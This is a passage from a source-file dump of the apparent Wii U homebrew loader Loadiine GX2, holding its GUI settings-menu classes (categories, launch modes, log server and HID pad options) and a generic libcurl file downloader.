OnSubMenuCloseClicked(GuiElement *element);\n    void OnSubMenuOpenEffectFinish(GuiElement *element);\n    void OnSubMenuCloseEffectFinish(GuiElement *element);\n\n    void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n\n    void OnKeyPadOkClicked(GuiElement *element, const std::string & newValue);\n    void OnButtonChoiceOkClicked(GuiElement *element, int selectedButton);\n\n    void OnScrollbarListChange(s32 selectItem, s32 pageIndex);\n\n    const SettingType * categorySettings;\n    const int categorySettingsCount;\n\n    int currentYOffset;\n\n    GuiFrame categoryFrame;\n\n    Scrollbar scrollbar;\n\n    GuiSound *buttonClickSound;\n    GuiImageData *backImageData;\n    GuiImage backImage;\n    GuiButton backButton;\n\n    GuiText titleText;\n    GuiImageData *titleImageData;\n    GuiImage titleImage;\n\n    GuiImageData *settingImageData;\n    GuiImageData *settingSelectedImageData;\n\n    typedef struct\n    {\n        GuiImage *settingImage;\n        GuiImage *settingImageSelected;\n        GuiButton *settingButton;\n        GuiText *settingLabel;\n    } CategorySetting;\n\n    std::vector<CategorySetting> settings;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger buttonATrigger;\n    GuiTrigger buttonBTrigger;\n    GuiTrigger buttonUpTrigger;\n    GuiTrigger buttonDownTrigger;\n\n    GuiButton DPADButtons;\n\n    bool updateButtons = false;;\n\n    int currentSettingsIdx;\n\tint selectedButtonDPAD;\n};\n\n#endif //_SETTINGS_WINDOW_H_\n"
  },
  {
    "path": "src/menu/SettingsMenu.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"SettingsMenu.h\"\n#include \"Application.h\"\n#include \"CreditsMenu.h\"\n#include \"settings/CSettings.h\"\n#include \"common/common.h\"\n#include \"utils/StringTools.h\"\n#include \"SettingsCategoryMenu.h\"\n#include \"settings/SettingsDefs.h\"\n#include \"settings/SettingsEnums.h\"\n#include \"gitrev.h\"\n\nstatic const float smallIconScale = 0.4f;\n\nstatic const ValueString ValueOnOff[] =\n{\n    { 0, trNOOP(\"Off\") },\n    { 1, trNOOP(\"On\") }\n};\n\nstatic const ValueString ValueGameViewMode[] =\n{\n    { 0, trNOOP(\"Icon Carousel\") },\n    { 1, trNOOP(\"Grid View\") },\n    { 2, trNOOP(\"Cover Carousel\") }\n};\n\nstatic const struct\n{\n    const char *name;\n    const char *icon;\n    const char *iconGlow;\n    const char *descriptions;\n}\nstSettingsCategories[] =\n{\n    { trNOOP(\"GUI\"),     \"guiSettingsIcon.png\",    \"guiSettingsIconGlow.png\",    trNOOP(\"Game View Selection\") \"\\n\" trNOOP(\"Background customizations\") },\n    { trNOOP(\"Loader\"),  \"loaderSettingsIcon.png\", \"loaderSettingsIconGlow.png\", trNOOP(\"Customize games path\") \"\\n\" trNOOP(\"Customize save path\") \"\\n\" trNOOP(\"Set save mode\") \"\\n\" trNOOP(\"Adjust log server IP and port\") },\n    { trNOOP(\"Game\"),    \"gameSettingsIcon.png\",   \"gameSettingsIconGlow.png\",   trNOOP(\"Launch method selection\") \"\\n\" trNOOP(\"Log server control\") \"\\n\"  \"\\n\" trNOOP(\"PyGecko settings\") \"\\n\" trNOOP(\"Padcon settings\") \"\\n\" trNOOP(\"HID settings\")},\n    { trNOOP(\"Credits\"), \"creditsIcon.png\",        \"creditsIconGlow.png\",        trNOOP(\"Credits to all contributors\") }\n};\n\nstatic const SettingType GuiSettings[] =\n{\n    { trNOOP(\"Game View TV\"), ValueGameViewMode, Type3Buttons, CSettings::GameViewModeTv },\n    { trNOOP(\"Game View DRC\"), ValueGameViewMode, Type3Buttons, CSettings::GameViewModeDrc }\n};\n\nstatic const SettingType LoaderSettings[] =\n{\n    { trNOOP(\"Show Game Settings\"), ValueOnOff, Type2Buttons, CSettings::ShowGameSettings },\n    { trNOOP(\"Host IP\"), 0, TypeIP, CSettings::GameLogServerIp },\n    { trNOOP(\"Game Path\"), 0, TypeDisplayOnly, CSettings::GamePath },\n    { trNOOP(\"Game Save Path\"), 0, TypeDisplayOnly, CSettings::GameSavePath },\n    { trNOOP(\"Game Save Mode\"), ValueGameSaveModes, Type2Buttons, CSettings::GameSaveMode }\n};\n\nstatic const SettingType GameSettings[] =\n{\n    { trNOOP(\"Launch Mode\"), ValueLaunchMode, Type4Buttons, CSettings::GameLaunchMethod },\n    { trNOOP(\"Log Server Control\"), ValueOnOff, Type2Buttons, CSettings::GameLogServer },\n    { trNOOP(\"PyGecko\"), ValueOnOff, Type2Buttons, CSettings::LaunchPyGecko },\n    { trNOOP(\"Padcon\"), ValueOnOff, Type2Buttons, CSettings::PadconMode },\n    { trNOOP(\"HID-Pad\"), ValueOnOff, Type2Buttons, CSettings::HIDPadEnabled },\n    { trNOOP(\"HID-Pad Rumble\"), ValueOnOff, Type2Buttons, CSettings::HIDPadRumble },\n    { trNOOP(\"HID-Pad Network\"), ValueOnOff, Type2Buttons, CSettings::HIDPadNetwork }\n};\n\nSettingsMenu::SettingsMenu(int w, int h)\n    : GuiFrame(w, h)\n    , categorySelectionFrame(w, h)\n    , particleBgImage(w, h, 50)\n    , buttonClickSound(Resources::GetSound(\"settings_click_2.mp3\"))\n    , quitImageData(Resources::GetImageData(\"quitButton.png\"))\n    , categoryImageData(Resources::GetImageData(\"settingsCategoryButton.png\"))\n    , categoryBgImageData(Resources::GetImageData(\"settingsCategoryBg.png\"))\n    , quitImage(quitImageData)\n    , quitButton(quitImage.getWidth(), quitImage.getHeight())\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n    , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n    , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true)\n    , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true)\n    , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true)\n    , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true)\n    , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true)\n    , leftArrowImageData(Resources::GetImageData(\"leftArrow.png\"))\n    , rightArrowImageData(Resources::GetImageData(\"rightArrow.png\"))\n    , leftArrowImage(leftArrowImageData)\n    , rightArrowImage(rightArrowImageData)\n    , leftArrowButton(leftArrowImage.getWidth(), leftArrowImage.getHeight())\n    , rightArrowButton(rightArrowImage.getWidth(), rightArrowImage.getHeight())\n    , DPADButtons(w,h)\n{\n    currentPosition = 0;\n    targetPosition = 0;\n    selectedCategory = 0;\n    animationSpeed = 25;\n    bUpdatePositions = true;\n\n    quitButton.setImage(&quitImage);\n    quitButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT);\n    quitButton.clicked.connect(this, &SettingsMenu::OnQuitButtonClick);\n    quitButton.setTrigger(&touchTrigger);\n    quitButton.setTrigger(&wpadTouchTrigger);\n    quitButton.setEffectGrow();\n    quitButton.setSoundClick(buttonClickSound);\n    categorySelectionFrame.append(&quitButton);\n\n    versionText.setColor(glm::vec4(0.6f, 0.6f, 0.6f, 1.0f));\n    versionText.setFontSize(42);\n    versionText.setAlignment(ALIGN_TOP | ALIGN_RIGHT);\n    versionText.setPosition(-50, -80);\n    versionText.setTextf(\"Loadiine GX2 %s (build %s)\",  LOADIINE_VERSION, GetRev());\n    categorySelectionFrame.append(&versionText);\n\n    const u32 cuCategoriesCount = sizeof(stSettingsCategories) / sizeof(stSettingsCategories[0]);\n\n    if(cuCategoriesCount > 0) selectedCategory = 0;\n\n    for(u32 idx = 0; idx < cuCategoriesCount; idx++)\n    {\n        settingsCategories.resize(idx + 1);\n        GuiSettingsCategory & category = settingsCategories[idx];\n\n        std::vector<std::string> splitDescriptions = stringSplit(stSettingsCategories[idx].descriptions, \"\\n\");\n\n        category.categoryIconData = Resources::GetImageData(stSettingsCategories[idx].icon);\n        category.categoryIconGlowData = Resources::GetImageData(stSettingsCategories[idx].iconGlow);\n\n        category.categoryLabel = new GuiText(tr(stSettingsCategories[idx].name), 46, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f));\n        category.categoryLabel->setPosition(0, -120);\n\n        category.categoryBgImage = new GuiImage(categoryBgImageData);\n        category.categoryImages = new GuiImage(categoryImageData);\n        category.categoryIcon = new GuiImage(category.categoryIconData);\n        category.categoryIconGlow = new GuiImage(category.categoryIconGlowData);\n        category.categoryButton = new GuiButton(category.categoryImages->getWidth(), category.categoryImages->getHeight());\n\n        category.categoryIcon->setPosition(0, 40);\n        category.categoryIconGlow->setPosition(0, 40);\n\n        category.categoryButton->setLabel(category.categoryLabel);\n        category.categoryButton->setImage(category.categoryImages);\n        category.categoryButton->setPosition(-300, 0);\n        category.categoryButton->setIcon(category.categoryIcon);\n        category.categoryButton->setIconOver(category.categoryIconGlow);\n        category.categoryButton->setTrigger(&touchTrigger);\n        category.categoryButton->setTrigger(&wpadTouchTrigger);\n        category.categoryButton->setSoundClick(buttonClickSound);\n        category.categoryButton->setEffectGrow();\n        category.categoryButton->clicked.connect(this, &SettingsMenu::OnCategoryClick);\n\n        categorySelectionFrame.append(category.categoryBgImage);\n        categorySelectionFrame.append(category.categoryButton);\n\n        category.categoryButton->setParent(category.categoryBgImage);\n        category.categoryBgImage->setPosition(currentPosition + (category.categoryBgImage->getWidth() + 40) * idx, 0);\n\n        for(u32 n = 0; n < splitDescriptions.size(); n++)\n        {\n            GuiText * descr = new GuiText(tr(splitDescriptions[n].c_str()), 46, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f));\n            descr->setAlignment(ALIGN_MIDDLE | ALIGN_LEFT);\n            descr->setPosition(category.categoryBgImage->getWidth() * 0.5f - 50.0f, category.categoryBgImage->getHeight() * 0.5f - 100.0f - n * 60.0f);\n            categorySelectionFrame.append(descr);\n            descr->setParent(category.categoryBgImage);\n            category.descriptions.push_back(descr);\n        }\n\n        GuiImage *smallIconOver = new GuiImage(category.categoryIconGlowData);\n        GuiImage *smallIcon = new GuiImage(category.categoryIconData);\n        GuiButton *smallIconButton = new GuiButton(smallIcon->getWidth() * smallIconScale, smallIcon->getHeight() * smallIconScale);\n        smallIcon->setScale(smallIconScale);\n        smallIconOver->setScale(smallIconScale);\n        smallIconButton->setImage(smallIcon);\n        smallIconButton->setEffectGrow();\n        smallIconButton->setTrigger(&touchTrigger);\n        smallIconButton->setTrigger(&wpadTouchTrigger);\n        smallIconButton->setSoundClick(buttonClickSound);\n        smallIconButton->clicked.connect(this, &SettingsMenu::OnSmallIconClick);\n        categorySelectionFrame.append(smallIconButton);\n\n        categorySmallImages.push_back(smallIcon);\n        categorySmallImagesOver.push_back(smallIconOver);\n        categorySmallButtons.push_back(smallIconButton);\n    }\n\n    leftArrowButton.setImage(&leftArrowImage);\n    leftArrowButton.setEffectGrow();\n    leftArrowButton.setPosition(40, 0);\n    leftArrowButton.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    leftArrowButton.setTrigger(&touchTrigger);\n    leftArrowButton.setTrigger(&wpadTouchTrigger);\n\n    leftArrowButton.setSoundClick(buttonClickSound);\n    leftArrowButton.clicked.connect(this, &SettingsMenu::OnCategoryLeftClick);\n    categorySelectionFrame.append(&leftArrowButton);\n\n    rightArrowButton.setImage(&rightArrowImage);\n    rightArrowButton.setEffectGrow();\n    rightArrowButton.setPosition(-40, 0);\n    rightArrowButton.setAlignment(ALIGN_RIGHT | ALIGN_MIDDLE);\n    rightArrowButton.setTrigger(&touchTrigger);\n    rightArrowButton.setTrigger(&wpadTouchTrigger);\n    rightArrowButton.setSoundClick(buttonClickSound);\n    rightArrowButton.clicked.connect(this, &SettingsMenu::OnCategoryRightClick);\n    categorySelectionFrame.append(&rightArrowButton);\n\n    DPADButtons.setTrigger(&buttonATrigger);\n    DPADButtons.setTrigger(&buttonBTrigger);\n    DPADButtons.setTrigger(&buttonLTrigger);\n    DPADButtons.setTrigger(&buttonRTrigger);\n    DPADButtons.setTrigger(&buttonLeftTrigger);\n    DPADButtons.setTrigger(&buttonRightTrigger);\n    DPADButtons.clicked.connect(this, &SettingsMenu::OnDPADClick);\n    append(&DPADButtons);\n\tcategorySelectionFrame.append(&DPADButtons);\n    setTargetPosition(0);\n    moving = false;\n\n    //! the particle BG is always appended in all sub menus\n    append(&particleBgImage);\n    append(&categorySelectionFrame);\n}\n\nSettingsMenu::~SettingsMenu()\n{\n    for(u32 i = 0; i < settingsCategories.size(); ++i)\n    {\n        delete settingsCategories[i].categoryLabel;\n        delete settingsCategories[i].categoryBgImage;\n        delete settingsCategories[i].categoryImages;\n        delete settingsCategories[i].categoryIcon;\n        delete settingsCategories[i].categoryIconGlow;\n        delete settingsCategories[i].categoryButton;\n\n        for(u32 n = 0; n < settingsCategories[i].descriptions.size(); n++)\n            delete settingsCategories[i].descriptions[n];\n\n        Resources::RemoveImageData(settingsCategories[i].categoryIconData);\n        Resources::RemoveImageData(settingsCategories[i].categoryIconGlowData);\n\n        delete categorySmallImages[i];\n        delete categorySmallImagesOver[i];\n        delete categorySmallButtons[i];\n    }\n    Resources::RemoveImageData(quitImageData);\n    Resources::RemoveImageData(categoryImageData);\n    Resources::RemoveImageData(categoryBgImageData);\n    Resources::RemoveImageData(leftArrowImageData);\n    Resources::RemoveImageData(rightArrowImageData);\n    Resources::RemoveSound(buttonClickSound);\n}\n\nvoid SettingsMenu::setTargetPosition(int selectedIdx)\n{\n    if(selectedIdx < 0 || selectedIdx >= (int)settingsCategories.size())\n        return;\n    moving = true;\n    selectedCategory = selectedIdx;\n    targetPosition = (settingsCategories[selectedCategory].categoryBgImage->getWidth() + 40) * -selectedCategory;\n\n    if(selectedCategory == 0)\n    {\n        leftArrowButton.setClickable(false);\n        leftArrowButton.setSelectable(false);\n        leftArrowButton.setVisible(false);\n    }\n    else\n    {\n        leftArrowButton.setClickable(true);\n        leftArrowButton.setSelectable(true);\n        leftArrowButton.setVisible(true);\n    }\n\n    if(selectedCategory == (int)(settingsCategories.size()-1))\n    {\n        rightArrowButton.setClickable(false);\n        rightArrowButton.setSelectable(false);\n        rightArrowButton.setVisible(false);\n    }\n    else\n    {\n        rightArrowButton.setClickable(true);\n        rightArrowButton.setSelectable(true);\n        rightArrowButton.setVisible(true);\n    }\n}\n\nvoid SettingsMenu::OnSubMenuCloseClicked(GuiElement *element)\n{\n    //! disable element for triggering buttons again\n    element->setState(GuiElement::STATE_DISABLED);\n    element->setEffect(EFFECT_FADE, -10, 0);\n    element->effectFinished.connect(this, &SettingsMenu::OnSubMenuCloseEffectFinish);\n\n    //! fade in category selection\n    categorySelectionFrame.setEffect(EFFECT_FADE, 10, 255);\n    append(&categorySelectionFrame);\n}\n\nvoid SettingsMenu::OnSubMenuOpenEffectFinish(GuiElement *element)\n{\n    //! make element clickable again\n    element->clearState(GuiElement::STATE_DISABLED);\n    element->effectFinished.disconnect(this);\n    //! remove category selection from settings\n    remove(&categorySelectionFrame);\n}\n\nvoid SettingsMenu::OnSubMenuCloseEffectFinish(GuiElement *element)\n{\n    remove(element);\n    AsyncDeleter::pushForDelete(element);\n\n    //! enable all elements again\n    categorySelectionFrame.clearState(GuiElement::STATE_DISABLED);\n}\n\nvoid SettingsMenu::OnCategoryClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(!moving){\n\n        int indexClicked = -1;\n\n        for(u32 i = 0; i < settingsCategories.size(); ++i)\n        {\n            if(button == settingsCategories[i].categoryButton)\n            {\n                indexClicked = i;\n                break;\n            }\n        }\n        if(indexClicked == -1) indexClicked = selectedCategory;\n\n        const SettingType * categorySettings = NULL;\n        int categorySettingsCount = 0;\n\n        switch(indexClicked)\n        {\n        case 0:\n            categorySettings = GuiSettings;\n            categorySettingsCount = sizeof(GuiSettings) / sizeof(SettingType);\n            break;\n        case 1:\n            categorySettings = LoaderSettings;\n            categorySettingsCount = sizeof(LoaderSettings) / sizeof(SettingType);\n            break;\n        case 2:\n            categorySettings = GameSettings;\n            categorySettingsCount = sizeof(GameSettings) / sizeof(SettingType);\n            break;\n        case 3:\n        {\n            CreditsMenu * menu = new CreditsMenu(getWidth(), getHeight(), tr(stSettingsCategories[indexClicked].name));\n            menu->setEffect(EFFECT_FADE, 10, 255);\n            menu->setState(STATE_DISABLED);\n            menu->effectFinished.connect(this, &SettingsMenu::OnSubMenuOpenEffectFinish);\n            menu->settingsBackClicked.connect(this, &SettingsMenu::OnSubMenuCloseClicked);\n\n            //! disable all current elements and fade them out with fading in new menu\n            categorySelectionFrame.setState(STATE_DISABLED);\n            categorySelectionFrame.setEffect(EFFECT_FADE, -10, 0);\n\n            //! now append new menu\n            append(menu);\n\n            return;\n        }\n        default:\n            return;\n        }\n\n        SettingsCategoryMenu *menu = new SettingsCategoryMenu(getWidth(), getHeight(), tr(stSettingsCategories[indexClicked].name), categorySettings, categorySettingsCount);\n        menu->setEffect(EFFECT_FADE, 10, 255);\n        menu->setState(STATE_DISABLED);\n        menu->effectFinished.connect(this, &SettingsMenu::OnSubMenuOpenEffectFinish);\n        menu->settingsBackClicked.connect(this, &SettingsMenu::OnSubMenuCloseClicked);\n\n        //! disable all current elements and fade them out with fading in new menu\n        categorySelectionFrame.setState(STATE_DISABLED);\n        categorySelectionFrame.setEffect(EFFECT_FADE, -10, 0);\n\n        //! now append new menu\n        append(menu);\n    }\n}\n\nvoid SettingsMenu::OnSmallIconClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    for(u32 i = 0; i < categorySmallButtons.size(); ++i)\n    {\n        if(button == categorySmallButtons[i])\n        {\n            setTargetPosition(i);\n            animationSpeed = 70;\n            break;\n        }\n    }\n}\n\nvoid SettingsMenu::OnCategoryRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(selectedCategory < (int)(settingsCategories.size()-1))\n    {\n        selectedCategory++;\n        setTargetPosition(selectedCategory);\n        animationSpeed = 25;\n    }\n}\n\nvoid SettingsMenu::OnCategoryLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(selectedCategory > 0 && settingsCategories.size() > 0)\n    {\n        selectedCategory--;\n        setTargetPosition(selectedCategory);\n        animationSpeed = 25;\n    }\n}\n\nvoid SettingsMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n\tif(trigger == &buttonATrigger)\n\t{\n        //! do not auto launch when wiimote is pointing to screen and presses A\n        if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n        {\n            return;\n        }\n\t\tOnCategoryClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonBTrigger){\n\t\tOnQuitButtonClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonLTrigger){\n\t\tOnCategoryLeftClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonRTrigger){\n\t\tOnCategoryRightClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonLeftTrigger){\n\t\tOnCategoryLeftClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonRightTrigger){\n\t\tOnCategoryRightClick(button,controller,trigger);\n\t}\n}\n\n\nvoid SettingsMenu::update(GuiController *c)\n{\n    if(currentPosition < targetPosition)\n    {\n        currentPosition += animationSpeed;\n        if(currentPosition >= targetPosition)\n\t\t{\n            currentPosition = targetPosition;\n            moving = false;\n        }\n\n\n        bUpdatePositions = true;\n    }\n    else if(currentPosition > targetPosition)\n    {\n        currentPosition -= animationSpeed;\n        if(currentPosition <= targetPosition)\n\t\t{\n            currentPosition = targetPosition;\n            moving = false;\n        }\n\n\n        bUpdatePositions = true;\n    }\n\n    if(bUpdatePositions)\n    {\n        bUpdatePositions = false;\n\n        for(u32 i = 0; i < settingsCategories.size(); ++i)\n        {\n            f32 posX = -350 + (categorySmallImages[i]->getWidth() * smallIconScale + 30) * i;\n            f32 posY = -300;\n\n            if((int)i == selectedCategory)\n            {\n                posY += 0.3f * categorySmallImages[i]->getHeight() * smallIconScale;\n                categorySmallButtons[i]->setPosition(posX, posY);\n                categorySmallButtons[i]->setImage(categorySmallImagesOver[i]);\n            }\n            else\n            {\n                categorySmallButtons[i]->setPosition(posX, posY);\n                categorySmallButtons[i]->setImage(categorySmallImages[i]);\n            }\n\n            settingsCategories[i].categoryBgImage->setPosition(currentPosition + (settingsCategories[selectedCategory].categoryBgImage->getWidth() + 40) * i, 0.0f);\n\n        }\n    }\n\n    GuiFrame::update(c);\n}\n"
  },
  {
    "path": "src/menu/SettingsMenu.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _SETTINGS_WINDOW_H_\n#define _SETTINGS_WINDOW_H_\n\n#include \"gui/Gui.h\"\n#include \"gui/GuiParticleImage.h\"\n#include \"settings/SettingsDefs.h\"\n#include \"settings/SettingsEnums.h\"\n#include \"common/common.h\"\n\nstatic const ValueString ValueGameSaveModes[] =\n{\n    { GAME_SAVES_SHARED, trNOOP(\"Shared Mode\") },\n    { GAME_SAVES_UNIQUE, trNOOP(\"Unique Mode\") },\n};\n\nstatic const ValueString ValueLaunchMode[] =\n{\n    { LOADIINE_MODE_MII_MAKER, trNOOP(\"Mii Maker Mode\") },\n    { LOADIINE_MODE_SMASH_BROS, trNOOP(\"Smash Bros Mode\") },\n    { LOADIINE_MODE_KARAOKE, trNOOP(\"Karaoke Mode\") },\n    { LOADIINE_MODE_ART_ATELIER, trNOOP(\"Art Atelier Mode\") }\n};\n\nclass SettingsMenu : public GuiFrame, public sigslot::has_slots<>\n{\n\npublic:\n    SettingsMenu(int w, int h);\n    virtual ~SettingsMenu();\n\n    void update(GuiController *c);\n\n    sigslot::signal1<GuiElement *> settingsQuitClicked;\nprivate:\n    void OnSmallIconClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnCategoryLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnCategoryRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnCategoryClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void OnQuitButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        settingsQuitClicked(this);\n    }\n\n    void OnSubMenuCloseClicked(GuiElement *element);\n    void OnSubMenuOpenEffectFinish(GuiElement *element);\n    void OnSubMenuCloseEffectFinish(GuiElement *element);\n\n    void setTargetPosition(int selectedIdx);\n\n    GuiFrame categorySelectionFrame;\n    GuiParticleImage particleBgImage;\n    GuiText versionText;\n\n    GuiSound *buttonClickSound;\n\n    GuiImageData *quitImageData;\n    GuiImageData *categoryImageData;\n    GuiImageData *categoryBgImageData;\n\n\n    GuiImage quitImage;\n\n    typedef struct\n    {\n        GuiImageData *categoryIconData;\n        GuiImageData *categoryIconGlowData;\n        GuiText *categoryLabel;\n        GuiImage *categoryIcon;\n        GuiImage *categoryIconGlow;\n        GuiImage *categoryImages;\n        GuiImage *categoryBgImage;\n        GuiButton *categoryButton;\n        std::vector<GuiText *> descriptions;\n    } GuiSettingsCategory;\n\n    std::vector<GuiSettingsCategory> settingsCategories;\n    std::vector<GuiButton *> categoryButtons;\n\n    std::vector<GuiButton *> categorySmallButtons;\n    std::vector<GuiImage *> categorySmallImagesOver;\n    std::vector<GuiImage *> categorySmallImages;\n\n    GuiButton quitButton;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger buttonATrigger;\n    GuiTrigger buttonBTrigger;\n    GuiTrigger buttonLTrigger;\n    GuiTrigger buttonRTrigger;\n    GuiTrigger buttonLeftTrigger;\n    GuiTrigger buttonRightTrigger;\n\n    GuiImageData *leftArrowImageData;\n    GuiImageData *rightArrowImageData;\n    GuiImage leftArrowImage;\n    GuiImage rightArrowImage;\n    GuiButton leftArrowButton;\n    GuiButton rightArrowButton;\n    GuiButton DPADButtons;\n\n    int selectedCategory;\n    int currentPosition;\n    int targetPosition;\n    int animationSpeed;\n    bool bUpdatePositions;\n    bool moving;\n};\n\n#endif //_SETTINGS_WINDOW_H_\n"
  },
  {
    "path": "src/network/FileDownloader.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"FileDownloader.h\"\n#include \"dynamic_libs/curl_functions.h\"\n#include \"utils/logger.h\"\n\n\nbool FileDownloader::getFile(const std::string & downloadUrl, std::string & fileBuffer, ProgressCallback callback, void *arg)\n{\n    curl_private_data_t private_data;\n    private_data.progressCallback = callback;\n    private_data.progressArg = arg;\n    private_data.buffer = 0;\n    private_data.filesize = 0;\n    private_data.file = 0;\n\n    bool result = internalGetFile(downloadUrl, &private_data);\n\n    if(private_data.filesize > 0 && private_data.buffer)\n    {\n        fileBuffer.resize(private_data.filesize);\n        memcpy(&fileBuffer[0], private_data.buffer, private_data.filesize);\n    }\n\n    if(private_data.buffer)\n        free(private_data.buffer);\n\n    return result;\n}\n\nbool FileDownloader::getFile(const std::string & downloadUrl, const std::string & outputPath, ProgressCallback callback, void *arg)\n{\n    curl_private_data_t private_data;\n    private_data.progressCallback = callback;\n    private_data.progressArg = arg;\n    private_data.buffer = 0;\n    private_data.filesize = 0;\n    private_data.file = new CFile(outputPath.c_str(), CFile::WriteOnly);\n\n    if(!private_data.file->isOpen())\n    {\n        delete private_data.file;\n        DEBUG_FUNCTION_LINE(\"Can not write to file %s\\n\", outputPath.c_str());\n        return false;\n    }\n\n    bool result = internalGetFile(downloadUrl, &private_data);\n\n    private_data.file->close();\n    delete private_data.file;\n    return result;\n}\n\n\nbool FileDownloader::internalGetFile(const std::string & downloadUrl, curl_private_data_t * private_data)\n{\n    CURL * curl = n_curl_easy_init();\n    if(!curl)\n        return false;\n\n    n_curl_easy_setopt(curl, CURLOPT_URL, downloadUrl.c_str());\n    n_curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, FileDownloader::curlCallback);\n    n_curl_easy_setopt(curl, CURLOPT_WRITEDATA, private_data);\n    //n_curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, errbuf);\n\n    if(private_data->progressCallback)\n    {\n        n_curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION, FileDownloader::curlProgressCallback);\n        n_curl_easy_setopt(curl, CURLOPT_PROGRESSDATA, private_data);\n    }\n\n    int ret = n_curl_easy_perform(curl);\n    if(ret)\n    {\n        DEBUG_FUNCTION_LINE(\"n_curl_easy_perform ret %i\\n\", ret);\n        n_curl_easy_cleanup(curl);\n        return false;\n    }\n\n    if(!private_data->filesize) {\n        DEBUG_FUNCTION_LINE(\"file length is 0\");\n        n_curl_easy_cleanup(curl);\n        return false;\n    }\n\n    int resp = 404;\n    n_curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &resp);\n\n    if(resp != 200)\n    {\n        DEBUG_FUNCTION_LINE(\"response != 200\");\n        n_curl_easy_cleanup(curl);\n        return false;\n    }\n\n    n_curl_easy_cleanup(curl);\n    return true;\n}\n\nint FileDownloader::curlCallback(void *buffer, int size, int nmemb, void *userp)\n{\n    curl_private_data_t *private_data = (curl_private_data_t *)userp;\n    int read_len = size*nmemb;\n\n    if(private_data->file)\n    {\n        return private_data->file->write((u8*)buffer, read_len);\n    }\n    else\n    {\n        if(!private_data->buffer)\n        {\n            private_data->buffer = (u8*) malloc(read_len);\n        }\n        else\n        {\n            u8 *tmp = (u8*) realloc(private_data->buffer, private_data->filesize + read_len);\n            if(!tmp)\n            {\n                free(private_data->buffer);\n                private_data->buffer = NULL;\n            }\n            else\n            {\n                private_data->buffer = tmp;\n            }\n        }\n\n        if(!private_data->buffer)\n        {\n            private_data->filesize = 0;\n            return -1;\n        }\n\n        memcpy(private_data->buffer + 